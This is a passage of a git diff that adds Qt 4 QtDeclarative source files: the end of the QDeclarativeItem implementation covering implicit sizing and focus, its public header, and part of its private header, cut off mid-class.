+ Defines the natural width or height of the Item if no \l width or \l height is specified.
+
+ The default implicit size for most items is 0x0, however some elements have an inherent
+ implicit size which cannot be overridden, e.g. Image, Text.
+
+ Setting the implicit size is useful for defining components that have a preferred size
+ based on their content, for example:
+
+ \qml
+ // Label.qml
+ import QtQuick 1.1
+
+ Item {
+ property alias icon: image.source
+ property alias label: text.text
+ implicitWidth: text.implicitWidth + image.implicitWidth
+ implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
+ Image { id: image }
+ Text {
+ id: text
+ wrapMode: Text.Wrap
+ anchors.left: image.right; anchors.right: parent.right
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ }
+ \endqml
+
+ \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
+ incurs a performance penalty as the text must be laid out twice.
+*/
+
+
+/*!
+ Sets the implied height of the item to \a h.
+ This is the height implied by other properties that determine the content.
+*/
+void QDeclarativeItem::setImplicitHeight(qreal h)
+{
+ Q_D(QDeclarativeItem);
+ bool changed = h != d->mImplicitHeight;
+ d->mImplicitHeight = h;
+ if (d->mHeight == h || heightValid()) {
+ if (changed)
+ d->implicitHeightChanged();
+ return;
+ }
+
+ qreal oldHeight = d->mHeight;
+
+ prepareGeometryChange();
+ d->mHeight = h;
+
+ geometryChanged(QRectF(x(), y(), width(), height()),
+ QRectF(x(), y(), width(), oldHeight));
+
+ if (changed)
+ d->implicitHeightChanged();
+}
+
+/*!
+ Returns whether the height property has been set explicitly.
+*/
+bool QDeclarativeItem::heightValid() const
+{
+ Q_D(const QDeclarativeItem);
+ return d->heightValid;
+}
+
+/*! \internal */
+void QDeclarativeItem::setSize(const QSizeF &size)
+{
+ Q_D(QDeclarativeItem);
+ d->heightValid = true;
+ d->widthValid = true;
+
+ if (d->height() == size.height() && d->width() == size.width())
+ return;
+
+ qreal oldHeight = d->height();
+ qreal oldWidth = d->width();
+
+ prepareGeometryChange();
+ d->setHeight(size.height());
+ d->setWidth(size.width());
+
+ geometryChanged(QRectF(x(), y(), width(), height()),
+ QRectF(x(), y(), oldWidth, oldHeight));
+}
+
+/*!
+ \qmlproperty bool Item::activeFocus
+
+ This property indicates whether the item has active focus.
+
+ An item with active focus will receive keyboard input,
+ or is a FocusScope ancestor of the item that will receive keyboard input.
+
+ Usually, activeFocus is gained by setting focus on an item and its enclosing
+ FocusScopes. In the following example \c input will have activeFocus.
+ \qml
+ Rectangle {
+ FocusScope {
+ focus: true
+ TextInput {
+ id: input
+ focus: true
+ }
+ }
+ }
+ \endqml
+
+ \sa focus, {qmlfocus}{Keyboard Focus}
+*/
+
+/*! \internal */
+bool QDeclarativeItem::hasActiveFocus() const
+{
+ Q_D(const QDeclarativeItem);
+ return (focusItem() && focusItem()->isVisible()) && (focusItem() == this ||
+ (d->flags & QGraphicsItem::ItemIsFocusScope && focusItem() != 0));
+}
+
+/*!
+ \qmlproperty bool Item::focus
+ This property indicates whether the item has focus within the enclosing focus scope. If true, this item
+ will gain active focus when the enclosing focus scope gains active focus.
+ In the following example, \c input will be given active focus when \c scope gains active focus.
+ \qml
+ Rectangle {
+ FocusScope {
+ id: scope
+ TextInput {
+ id: input
+ focus: true
+ }
+ }
+ }
+ \endqml
+
+ For the purposes of this property, the scene as a whole is assumed to act like a focus scope.
+ On a practical level, that means the following QML will give active focus to \c input on startup.
+
+ \qml
+ Rectangle {
+ TextInput {
+ id: input
+ focus: true
+ }
+ }
+ \endqml
+
+ \sa activeFocus, {qmlfocus}{Keyboard Focus}
+*/
+
+/*! \internal */
+bool QDeclarativeItem::hasFocus() const
+{
+ Q_D(const QDeclarativeItem);
+ QGraphicsItem *p = d->parent;
+ while (p) {
+ if (p->flags() & QGraphicsItem::ItemIsFocusScope) {
+ return p->focusScopeItem() == this;
+ }
+ p = p->parentItem();
+ }
+
+ return hasActiveFocus();
+}
+
+/*! \internal */
+void QDeclarativeItem::setFocus(bool focus)
+{
+ if (focus)
+ QGraphicsItem::setFocus(Qt::OtherFocusReason);
+ else
+ QGraphicsItem::clearFocus();
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeItem::paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *)
+{
+}
+
+/*!
+ \internal
+*/
+bool QDeclarativeItem::event(QEvent *ev)
+{
+ Q_D(QDeclarativeItem);
+ switch (ev->type()) {
+ case QEvent::KeyPress:
+ case QEvent::KeyRelease:
+ case QEvent::InputMethod:
+ d->doneEventPreHandler = false;
+ break;
+ default:
+ break;
+ }
+
+ return QGraphicsObject::event(ev);
+}
+
+#ifndef QT_NO_DEBUG_STREAM
+QDebug operator<<(QDebug debug, QDeclarativeItem *item)
+{
+ if (!item) {
+ debug << "QDeclarativeItem(0)";
+ return debug;
+ }
+
+ debug << item->metaObject()->className() << "(this =" << ((void*)item)
+ << ", parent =" << ((void*)item->parentItem())
+ << ", geometry =" << QRectF(item->pos(), QSizeF(item->width(), item->height()))
+ << ", z =" << item->zValue() << ')';
+ return debug;
+}
+#endif
+
+qint64 QDeclarativeItemPrivate::consistentTime = -1;
+void QDeclarativeItemPrivate::setConsistentTime(qint64 t)
+{
+ consistentTime = t;
+}
+
+class QElapsedTimerConsistentTimeHack
+{
+public:
+ void start() {
+ t1 = QDeclarativeItemPrivate::consistentTime;
+ t2 = 0;
+ }
+ qint64 elapsed() {
+ return QDeclarativeItemPrivate::consistentTime - t1;
+ }
+ qint64 restart() {
+ qint64 val = QDeclarativeItemPrivate::consistentTime - t1;
+ t1 = QDeclarativeItemPrivate::consistentTime;
+ t2 = 0;
+ return val;
+ }
+
+private:
+ qint64 t1;
+ qint64 t2;
+};
+
+void QDeclarativeItemPrivate::start(QElapsedTimer &t)
+{
+ if (QDeclarativeItemPrivate::consistentTime == -1)
+ t.start();
+ else
+ ((QElapsedTimerConsistentTimeHack*)&t)->start();
+}
+
+qint64 QDeclarativeItemPrivate::elapsed(QElapsedTimer &t)
+{
+ if (QDeclarativeItemPrivate::consistentTime == -1)
+ return t.elapsed();
+ else
+ return ((QElapsedTimerConsistentTimeHack*)&t)->elapsed();
+}
+
+qint64 QDeclarativeItemPrivate::restart(QElapsedTimer &t)
+{
+ if (QDeclarativeItemPrivate::consistentTime == -1)
+ return t.restart();
+ else
+ return ((QElapsedTimerConsistentTimeHack*)&t)->restart();
+}
+
+QT_END_NAMESPACE
+
+#include <moc_qdeclarativeitem.cpp>
diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h
new file mode 100644
index 00000000..ce8c9453
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeitem.h
@@ -0,0 +1,234 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEITEM_H
+#define QDECLARATIVEITEM_H
+
+#include <QtDeclarative/qdeclarative.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+
+#include <QtCore/QObject>
+#include <QtCore/QList>
+#include <QtGui/qgraphicsitem.h>
+#include <QtGui/qgraphicstransform.h>
+#include <QtGui/qfont.h>
+#include <QtGui/qaction.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeState;
+class QDeclarativeAnchorLine;
+class QDeclarativeTransition;
+class QDeclarativeKeyEvent;
+class QDeclarativeAnchors;
+class QDeclarativeItemPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+
+ Q_PROPERTY(QDeclarativeItem * parent READ parentItem WRITE setParentItem NOTIFY parentChanged DESIGNABLE false FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty<QObject> data READ data DESIGNABLE false)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty<QObject> resources READ resources DESIGNABLE false)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty<QDeclarativeState> states READ states DESIGNABLE false)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeListProperty<QDeclarativeTransition> transitions READ transitions DESIGNABLE false)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QString state READ state WRITE setState NOTIFY stateChanged)
+ Q_PROPERTY(QRectF childrenRect READ childrenRect NOTIFY childrenRectChanged DESIGNABLE false FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchors * anchors READ anchors DESIGNABLE false CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine left READ left CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine right READ right CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine horizontalCenter READ horizontalCenter CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine top READ top CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine bottom READ bottom CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine verticalCenter READ verticalCenter CONSTANT FINAL)
+ Q_PRIVATE_PROPERTY(QDeclarativeItem::d_func(), QDeclarativeAnchorLine baseline READ baseline CONSTANT FINAL)
+ Q_PROPERTY(qreal baselineOffset READ baselineOffset WRITE setBaselineOffset NOTIFY baselineOffsetChanged)
+ Q_PROPERTY(bool clip READ clip WRITE setClip NOTIFY clipChanged) // ### move to QGI/QGO, NOTIFY
+ Q_PROPERTY(bool focus READ hasFocus WRITE setFocus NOTIFY focusChanged FINAL)
+ Q_PROPERTY(bool activeFocus READ hasActiveFocus NOTIFY activeFocusChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QGraphicsTransform> transform READ transform DESIGNABLE false FINAL)
+ Q_PROPERTY(TransformOrigin transformOrigin READ transformOrigin WRITE setTransformOrigin NOTIFY transformOriginChanged)
+ Q_PROPERTY(QPointF transformOriginPoint READ transformOriginPoint) // transformOriginPoint is read-only for Item
+ Q_PROPERTY(bool smooth READ smooth WRITE setSmooth NOTIFY smoothChanged)
+ Q_PROPERTY(qreal implicitWidth READ implicitWidth WRITE setImplicitWidth NOTIFY implicitWidthChanged REVISION 1)
+ Q_PROPERTY(qreal implicitHeight READ implicitHeight WRITE setImplicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+ Q_ENUMS(TransformOrigin)
+ Q_CLASSINFO("DefaultProperty", "data")
+
+public:
+ enum TransformOrigin {
+ TopLeft, Top, TopRight,
+ Left, Center, Right,
+ BottomLeft, Bottom, BottomRight
+ };
+
+ QDeclarativeItem(QDeclarativeItem *parent = 0);
+ virtual ~QDeclarativeItem();
+
+ QDeclarativeItem *parentItem() const;
+ void setParentItem(QDeclarativeItem *parent);
+
+ QRectF childrenRect();
+
+ bool clip() const;
+ void setClip(bool);
+
+ qreal baselineOffset() const;
+ void setBaselineOffset(qreal);
+
+ QDeclarativeListProperty<QGraphicsTransform> transform();
+
+ qreal width() const;
+ void setWidth(qreal);
+ void resetWidth();
+ qreal implicitWidth() const;
+
+ qreal height() const;
+ void setHeight(qreal);
+ void resetHeight();
+ qreal implicitHeight() const;
+
+ void setSize(const QSizeF &size);
+
+ TransformOrigin transformOrigin() const;
+ void setTransformOrigin(TransformOrigin);
+
+ bool smooth() const;
+ void setSmooth(bool);
+
+ QRectF boundingRect() const;
+ virtual void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+
+ bool hasActiveFocus() const;
+ bool hasFocus() const;
+ void setFocus(bool);
+
+ bool keepMouseGrab() const;
+ void setKeepMouseGrab(bool);
+
+ Q_INVOKABLE QScriptValue mapFromItem(const QScriptValue &item, qreal x, qreal y) const;
+ Q_INVOKABLE QScriptValue mapToItem(const QScriptValue &item, qreal x, qreal y) const;
+ Q_INVOKABLE void forceActiveFocus();
+ Q_INVOKABLE QDeclarativeItem *childAt(qreal x, qreal y) const;
+
+Q_SIGNALS:
+ void childrenRectChanged(const QRectF &);
+ void baselineOffsetChanged(qreal);
+ void stateChanged(const QString &);
+ void focusChanged(bool);
+ void activeFocusChanged(bool);
+ void parentChanged(QDeclarativeItem *);
+ void transformOriginChanged(TransformOrigin);
+ void smoothChanged(bool);
+ void clipChanged(bool);
+ Q_REVISION(1) void implicitWidthChanged();
+ Q_REVISION(1) void implicitHeightChanged();
+
+protected:
+ bool isComponentComplete() const;
+ virtual bool sceneEvent(QEvent *);
+ virtual bool event(QEvent *);
+ virtual QVariant itemChange(GraphicsItemChange, const QVariant &);
+
+ void setImplicitWidth(qreal);
+ bool widthValid() const; // ### better name?
+ void setImplicitHeight(qreal);
+ bool heightValid() const; // ### better name?
+
+ virtual void classBegin();
+ virtual void componentComplete();
+ virtual void keyPressEvent(QKeyEvent *event);
+ virtual void keyReleaseEvent(QKeyEvent *event);
+ virtual void inputMethodEvent(QInputMethodEvent *);
+ virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const;
+ void keyPressPreHandler(QKeyEvent *);
+ void keyReleasePreHandler(QKeyEvent *);
+ void inputMethodPreHandler(QInputMethodEvent *);
+
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+
+protected:
+ QDeclarativeItem(QDeclarativeItemPrivate &dd, QDeclarativeItem *parent = 0);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeItem)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem)
+};
+
+template<typename T>
+ T qobject_cast(QGraphicsObject *o)
+{
+ QObject *obj = o;
+ return qobject_cast<T>(obj);
+}
+
+// ### move to QGO
+template<typename T>
+T qobject_cast(QGraphicsItem *item)
+{
+ if (!item) return 0;
+ QObject *o = item->toGraphicsObject();
+ return qobject_cast<T>(o);
+}
+
+#ifndef QT_NO_DEBUG_STREAM
+QDebug Q_DECLARATIVE_EXPORT operator<<(QDebug debug, QDeclarativeItem *item);
+#endif
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeItem)
+QML_DECLARE_TYPE(QGraphicsObject)
+QML_DECLARE_TYPE(QGraphicsTransform)
+QML_DECLARE_TYPE(QGraphicsScale)
+QML_DECLARE_TYPE(QGraphicsRotation)
+QML_DECLARE_TYPE(QGraphicsWidget)
+QML_DECLARE_TYPE(QAction)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEITEM_H
diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h
new file mode 100644
index 00000000..934df7df
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h
@@ -0,0 +1,624 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEITEM_P_H
+#define QDECLARATIVEITEM_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeitem.h"
+
+#include "private/qdeclarativeanchors_p.h"
+#include "private/qdeclarativeanchors_p_p.h"
+#include "private/qdeclarativeitemchangelistener_p.h"
+#include <private/qpodvector_p.h>
+
+#include <private/qdeclarativestate_p.h>
+#include <private/qdeclarativenullablevalue_p_p.h>
+#include <private/qdeclarativenotifier_p.h>
+#include <private/qdeclarativeglobal_p.h>
+
+#include <qdeclarative.h>
+#include <qdeclarativecontext.h>
+
+#include <QtCore/qlist.h>
+#include <QtCore/qdebug.h>
+
+#include <private/qgraphicsitem_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QNetworkReply;
+class QDeclarativeItemKeyFilter;
+class QDeclarativeLayoutMirroringAttached;
+
+//### merge into private?
+class QDeclarativeContents : public QObject, public QDeclarativeItemChangeListener
+{
+ Q_OBJECT
+public:
+ QDeclarativeContents(QDeclarativeItem *item);
+ ~QDeclarativeContents();
+
+ QRectF rectF() const;
+
+ void childRemoved(QDeclarativeItem *item);
+ void childAdded(QDeclarativeItem *item);
+
+ void calcGeometry() { calcWidth(); calcHeight(); }
+ void complete();
+
+Q_SIGNALS:
+ void rectChanged(QRectF);
+
+protected:
+ void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
+ void itemDestroyed(QDeclarativeItem *item);
+ //void itemVisibilityChanged(QDeclarativeItem *item)
+
+private:
+ void calcHeight(QDeclarativeItem *changed = 0);
+ void calcWidth(QDeclarativeItem *changed = 0);
+
+ QDeclarativeItem *m_item;
+ qreal m_x;
+ qreal m_y;
+ qreal m_width;
+ qreal m_height;
+};
+
+class Q_DECLARATIVE_EXPORT QDeclarativeItemPrivate : public QGraphicsItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeItem)
+
+public:
+ QDeclarativeItemPrivate()
+ : _anchors(0), _contents(0),
+ baselineOffset(0),
+ _anchorLines(0),
+ _stateGroup(0), origin(QDeclarativeItem::Center),
+ widthValid(false), heightValid(false),
+ componentComplete(true), keepMouse(false),
+ smooth(false), transformOriginDirty(true), doneEventPreHandler(false),
+ inheritedLayoutMirror(false), effectiveLayoutMirror(false), isMirrorImplicit(true),
+ inheritMirrorFromParent(false), inheritMirrorFromItem(false), keyHandler(0),
+ mWidth(0), mHeight(0), mImplicitWidth(0), mImplicitHeight(0), attachedLayoutDirection(0), hadSubFocusItem(false)
+ {
+ QGraphicsItemPrivate::acceptedMouseButtons = 0;
+ isDeclarativeItem = 1;
+ QGraphicsItemPrivate::flags = QGraphicsItem::GraphicsItemFlags(
+ QGraphicsItem::ItemHasNoContents
+ | QGraphicsItem::ItemIsFocusable
+ | QGraphicsItem::ItemNegativeZStacksBehindParent);
+ }
+
+ void init(QDeclarativeItem *parent)
+ {
+ Q_Q(QDeclarativeItem);
+ if (parent) {
+ QDeclarative_setParent_noEvent(q, parent);
+ q->setParentItem(parent);
+ QDeclarativeItemPrivate *parentPrivate = QDeclarativeItemPrivate::get(parent);
+ setImplicitLayoutMirror(parentPrivate->inheritedLayoutMirror, parentPrivate->inheritMirrorFromParent);
+ }
+ baselineOffset.invalidate();
+ mouseSetsFocus = false;
+ }
+
+ bool isMirrored() const {
+ return effectiveLayoutMirror;
+ }
+
+ // Private Properties
+ qreal width() const;
+ void setWidth(qreal);
+ void resetWidth();
+
+ qreal height() const;
+ void setHeight(qreal);
+ void resetHeight();
+
+ virtual qreal implicitWidth() const;
+ virtual qreal implicitHeight() const;
+ virtual void implicitWidthChanged();
+ virtual void implicitHeightChanged();
+
+ void resolveLayoutMirror();
+ void setImplicitLayoutMirror(bool mirror, bool inherit);
+ void setLayoutMirror(bool mirror);
+
+ QDeclarativeListProperty<QObject> data();
+ QDeclarativeListProperty<QObject> resources();
+
+ QDeclarativeListProperty<QDeclarativeState> states();
+ QDeclarativeListProperty<QDeclarativeTransition> transitions();
+
+ QString state() const;
+ void setState(const QString &);
+
+ QDeclarativeAnchorLine left() const;
+ QDeclarativeAnchorLine right() const;
+ QDeclarativeAnchorLine horizontalCenter() const;
+ QDeclarativeAnchorLine top() const;
+ QDeclarativeAnchorLine bottom() const;
+ QDeclarativeAnchorLine verticalCenter() const;
+ QDeclarativeAnchorLine baseline() const;
+
+ // data property
+ static void data_append(QDeclarativeListProperty<QObject> *, QObject *);
+ static int data_count(QDeclarativeListProperty<QObject> *);
+ static QObject *data_at(QDeclarativeListProperty<QObject> *, int);
+ static void data_clear(QDeclarativeListProperty<QObject> *);
+
+ // resources property
+ static QObject *resources_at(QDeclarativeListProperty<QObject> *, int);
+ static void resources_append(QDeclarativeListProperty<QObject> *, QObject *);
+ static int resources_count(QDeclarativeListProperty<QObject> *);
+ static void resources_clear(QDeclarativeListProperty<QObject> *);
+
+ // transform property
+ static int transform_count(QDeclarativeListProperty<QGraphicsTransform> *list);
+ static void transform_append(QDeclarativeListProperty<QGraphicsTransform> *list, QGraphicsTransform *);
+ static QGraphicsTransform *transform_at(QDeclarativeListProperty<QGraphicsTransform> *list, int);
+ static void transform_clear(QDeclarativeListProperty<QGraphicsTransform> *list);
+
+ static QDeclarativeItemPrivate* get(QDeclarativeItem *item)
+ {
+ return item->d_func();
+ }
+
+ // Accelerated property accessors
+ QDeclarativeNotifier parentNotifier;
+ static void parentProperty(QObject *o, void *rv, QDeclarativeNotifierEndpoint *e);
+
+ QDeclarativeAnchors *anchors() {
+ if (!_anchors) {
+ Q_Q(QDeclarativeItem);
+ _anchors = new QDeclarativeAnchors(q);
+ if (!componentComplete)
+ _anchors->classBegin();
+ }
+ return _anchors;
+ }
+ QDeclarativeAnchors *_anchors;
+ QDeclarativeContents *_contents;
+
+ QDeclarativeNullableValue<qreal> baselineOffset;
+
+ struct AnchorLines {
+ AnchorLines(QGraphicsObject *);
+ QDeclarativeAnchorLine left;
+ QDeclarativeAnchorLine right;
+ QDeclarativeAnchorLine hCenter;
+ QDeclarativeAnchorLine top;
+ QDeclarativeAnchorLine bottom;
+ QDeclarativeAnchorLine vCenter;
+ QDeclarativeAnchorLine baseline;
+ };
+ mutable AnchorLines *_anchorLines;
+ AnchorLines *anchorLines() const {
+ Q_Q(const QDeclarativeItem);
+ if (!_anchorLines) _anchorLines =
+ new AnchorLines(const_cast<QDeclarativeItem *>(q));
+ return _anchorLines;
+ }
+
+ enum ChangeType {
+ Geometry = 0x01,
+ SiblingOrder = 0x02,
+ Visibility = 0x04,
+ Opacity = 0x08,
+ Destroyed = 0x10
+ };
+
+ Q_DECLARE_FLAGS(ChangeTypes, ChangeType)
+
+ struct ChangeListener {
+ ChangeListener(QDeclarativeItemChangeListener *l, QDeclarativeItemPrivate::ChangeTypes t) : listener(l), types(t) {}
+ QDeclarativeItemChangeListener *listener;
+ QDeclarativeItemPrivate::ChangeTypes types;
+ bool operator==(const ChangeListener &other) const { return listener == other.listener && types == other.types; }
+ };
+
+ void addItemChangeListener(QDeclarativeItemChangeListener *listener, ChangeTypes types) {
+ changeListeners.append(ChangeListener(listener, types));
+ }
+ void removeItemChangeListener(QDeclarativeItemChangeListener *, ChangeTypes types);
+ QPODVector<ChangeListener,4> changeListeners;
+
+ QDeclarativeStateGroup *_states();
+ QDeclarativeStateGroup *_stateGroup;
+
+ QDeclarativeItem::TransformOrigin origin:5;
+ bool widthValid:1;
+ bool heightValid:1;
+ bool componentComplete:1;
+ bool keepMouse:1;
+ bool smooth:1;
+ bool transformOriginDirty : 1;
+ bool doneEventPreHandler : 1;
+ bool inheritedLayoutMirror:1;
+ bool effectiveLayoutMirror:1;
+ bool isMirrorImplicit:1;
+ bool inheritMirrorFromParent:1;
+ bool inheritMirrorFromItem:1;
+
+ QDeclarativeItemKeyFilter *keyHandler;
+
+ qreal mWidth;
+ qreal mHeight;
+ qreal mImplicitWidth;
+ qreal mImplicitHeight;
+
+ QDeclarativeLayoutMirroringAttached* attachedLayoutDirection;
+
+ bool hadSubFocusItem;
+
+ QPointF computeTransformOrigin() const;
+
+ virtual void setPosHelper(const QPointF &pos)
+ {
+ Q_Q(QDeclarativeItem);
+ QRectF oldGeometry(this->pos.x(), this->pos.y(), mWidth, mHeight);
+ QGraphicsItemPrivate::setPosHelper(pos);
+ q->geometryChanged(QRectF(this->pos.x(), this->pos.y(), mWidth, mHeight), oldGeometry);
+ }
+
+ // Reimplemented from QGraphicsItemPrivate
+ virtual void subFocusItemChange()
+ {
+ bool hasSubFocusItem = subFocusItem != 0;
+ if (((flags & QGraphicsItem::ItemIsFocusScope) || !parent) && hasSubFocusItem != hadSubFocusItem)
+ emit q_func()->activeFocusChanged(hasSubFocusItem);
+ //see also QDeclarativeItemPrivate::focusChanged
+ hadSubFocusItem = hasSubFocusItem;
+ }
+
+ // Reimplemented from QGraphicsItemPrivate
+ virtual void focusScopeItemChange(bool isSubFocusItem)
+ {
+ emit q_func()->focusChanged(isSubFocusItem);
+ }
+
+
+ // Reimplemented from QGraphicsItemPrivate
+ virtual void siblingOrderChange()
+ {
+ Q_Q(QDeclarativeItem);
+ for(int ii = 0; ii < changeListeners.count(); ++ii) {
+ const QDeclarativeItemPrivate::ChangeListener &change = changeListeners.at(ii);
+ if (change.types & QDeclarativeItemPrivate::SiblingOrder) {
+ change.listener->itemSiblingOrderChanged(q);
+ }
+ }
+ }
+
+ // Reimplemented from QGraphicsItemPrivate
+ virtual void transformChanged();
+
+ virtual void focusChanged(bool);
+
+ virtual void mirrorChange() {};
+
+ static qint64 consistentTime;
+ static void setConsistentTime(qint64 t);
+ static void start(QElapsedTimer &);
+ static qint64 elapsed(QElapsedTimer &);
+ static qint64 restart(QElapsedTimer &);
+};
+
+/*
+ Key filters can be installed on a QDeclarativeItem, but not removed. Currently they
+ are only used by attached objects (which are only destroyed on Item
+ destruction), so this isn't a problem. If in future this becomes any form
+ of public API, they will have to support removal too.
+*/
+class QDeclarativeItemKeyFilter
+{
+public:
+ QDeclarativeItemKeyFilter(QDeclarativeItem * = 0);
+ virtual ~QDeclarativeItemKeyFilter();
+
+ virtual void keyPressed(QKeyEvent *event, bool post);
+ virtual void keyReleased(QKeyEvent *event, bool post);
+ virtual void inputMethodEvent(QInputMethodEvent *event, bool post);
+ virtual QVariant inputMethodQuery(Qt::InputMethodQuery query) const;
+ virtual void componentComplete();
+
+ bool m_processPost;
+
+private:
+ QDeclarativeItemKeyFilter *m_next;
+};
+
+class QDeclarativeKeyNavigationAttachedPrivate : public QObjectPrivate
+{
+public:
+ QDeclarativeKeyNavigationAttachedPrivate()
+ : QObjectPrivate(), left(0), right(0), up(0), down(0), tab(0), backtab(0) {}
+
+ QDeclarativeItem *left;
+ QDeclarativeItem *right;
+ QDeclarativeItem *up;
+ QDeclarativeItem *down;
+ QDeclarativeItem *tab;
+ QDeclarativeItem *backtab;
+};
+
+class QDeclarativeKeyNavigationAttached : public QObject, public QDeclarativeItemKeyFilter
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeKeyNavigationAttached)
+
+ Q_PROPERTY(QDeclarativeItem *left READ left WRITE setLeft NOTIFY leftChanged)
+ Q_PROPERTY(QDeclarativeItem *right READ right WRITE setRight NOTIFY rightChanged)
+ Q_PROPERTY(QDeclarativeItem *up READ up WRITE setUp NOTIFY upChanged)
+ Q_PROPERTY(QDeclarativeItem *down READ down WRITE setDown NOTIFY downChanged)
+ Q_PROPERTY(QDeclarativeItem *tab READ tab WRITE setTab NOTIFY tabChanged)
+ Q_PROPERTY(QDeclarativeItem *backtab READ backtab WRITE setBacktab NOTIFY backtabChanged)
+ Q_PROPERTY(Priority priority READ priority WRITE setPriority NOTIFY priorityChanged)
+
+ Q_ENUMS(Priority)
+
+public:
+ QDeclarativeKeyNavigationAttached(QObject * = 0);
+
+ QDeclarativeItem *left() const;
+ void setLeft(QDeclarativeItem *);
+ QDeclarativeItem *right() const;
+ void setRight(QDeclarativeItem *);
+ QDeclarativeItem *up() const;
+ void setUp(QDeclarativeItem *);
+ QDeclarativeItem *down() const;
+ void setDown(QDeclarativeItem *);
